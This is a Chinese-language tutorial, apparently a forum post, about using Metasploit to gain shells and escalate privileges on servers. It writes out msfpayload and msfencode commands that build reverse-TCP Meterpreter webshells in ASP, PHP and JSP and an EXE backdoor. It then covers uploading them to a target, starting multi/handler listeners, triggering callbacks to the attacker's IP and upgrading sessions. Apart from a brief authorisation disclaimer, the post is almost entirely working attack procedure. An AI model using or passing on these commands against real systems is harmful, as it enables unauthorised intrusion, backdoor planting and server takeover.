本文所涉及的方法只能在已授權的機器上做測試。
首先建議一下到網上查查meterpreter的用法在看這篇文章,理解為什麼要使用msf來提權(因為msf裡邊有個meterpreter很強大 ^_^)
Metasploit 擁有msfpayload 和msfencode 這兩個工具,這兩個工具不但可以產生exe 型後門,一可以產生網頁指令碼類型的webshell ,通過產生webshell 然後設定監聽器,訪問webshell的url,幸運的話可以產生一個session,以便進一步利用。
下面是具體的利用方法。
我們可以通過指令查看msf裡的payload 然後記住其位置:使用如下的指令來產生一個webshell,和前邊將的msfpayload的用法類似,只不過這裡產生的是一個網頁指令檔:
產生webshell
msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
然後將此webshell上傳到伺服器(這個步驟要有上傳許可權。)
然後啟動msfconsole
輸入use exploit/multi/handler,
set PAYLOAD windows/meterpreter/reverse_tcp(這裡的payload要和前邊的msfpayload所使用的一樣。
set LHOST your_ip,
執行exploit,
然後訪問webshell的url,這裡使用curl 訪問curl http://host/webshell.asp ,如果exploit執行成功的話就可以看到msfconsole中有返回meterpreter shell,如果meterpreter不會用網上查一下,很多。
但是我使用netbox 搭建asp環境老是執行出錯,希望讀者在實際驗證不出錯後再使用。
這裡產生的是asp的webshell 也可以產生php webshell,jsp webshell 需要在msfencode時用-t 參數指定指令碼類型,我認為php類型的webshell更容易成功。
另外如果擷取伺服器擁有可以上傳並且執行上傳檔案的許可權的話,可以上傳一個msfpayload產生的後門,設定監聽,然後執行後門,返回一個session然後將session轉為meterpreter,這樣就可以方便的使用meter各種特性了。給個步驟:(前提在上邊以及說明了)
1、msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=4444 X >/root/helen.exe
2、開啟msfconsole (另外開一個terminate終端)
3、設定監聽(監聽這個詞好像很進階,別被它嚇到):use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST=your_ip,set LPORT 4444,執行exploit
4、將test.exe 上傳到伺服器
5、在伺服器上執行test.exe 就可以返回一個shell了。
6、將windows shell 轉成 meterpreter shell:由於使用的payload是shell_reverse_tcp,看名字就知道了返回一個shell,可以在監聽器看到返回了一個windows shell(windows 命令提示字元),而不是一個meterpreter shell,這樣就要轉換了,方法是 按下Ctrl + z 使 windows shell 後台運行,然後sessions 指令查看 shell 的session是多少
,然後執行 sessions -u number(number為你找到的windows shell session號。這樣就產生了一個meterpreter shell,可以利用meterpreter強大的功能。也有可能出錯,仔細看出錯資訊然後複製其一部分google一下。
可能讀者些疑問:既然可以在上傳執行exe檔案,為什麼要用msf呢,直接上傳一個強大木馬不是更方便麼。我想說因為msf 中有個強大的Meterpreter。
總結,可以發揮想象,挨個試試payloads有的payloads 不能用,也許有意外的發現。
當LINUX提權反彈不了時.經常遇到這種情況 請出MSF ..
1 .產生WEBSHELL檔案
msf > msfpayload php/reverse_php LHOST=你的IP LPORT=連接埠 R > dis9.php
我的BT4是在/ROOT/ 目錄 然後吧dis9.php加 才能運行
把dis9.php傳進你的SHELL裡 例如 www.dis9.com/dis9.php
2 . 然後MSF設定介面模板和參數
msf > use multi/handler //進入 multi/handler 介面
msf exploit(handler) > set PAYLOAD php/reverse_php //寫入模組 不清楚的可以先 info php/reverse_php 看看介紹
msf exploit(handler) > set LHOST 你的IP //產生dis9.php的LHOST的IP 也就是你的IP 要一樣
msf exploit(handler) > set LPORT 8080 //同上
msf exploit(handler) > exploit //執行
3.反彈SHELL
然後訪問你的dis9.php
root@bt4:links www.dis9.com/dis9.php
這樣就會反彈一個SHELL
我們就可以繼續FUCK ALL
/////////////////////////////////////////////////////////////////////////////////////////////////
JSP
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
——————————————————-
這裡沒SET連接埠 預設的4444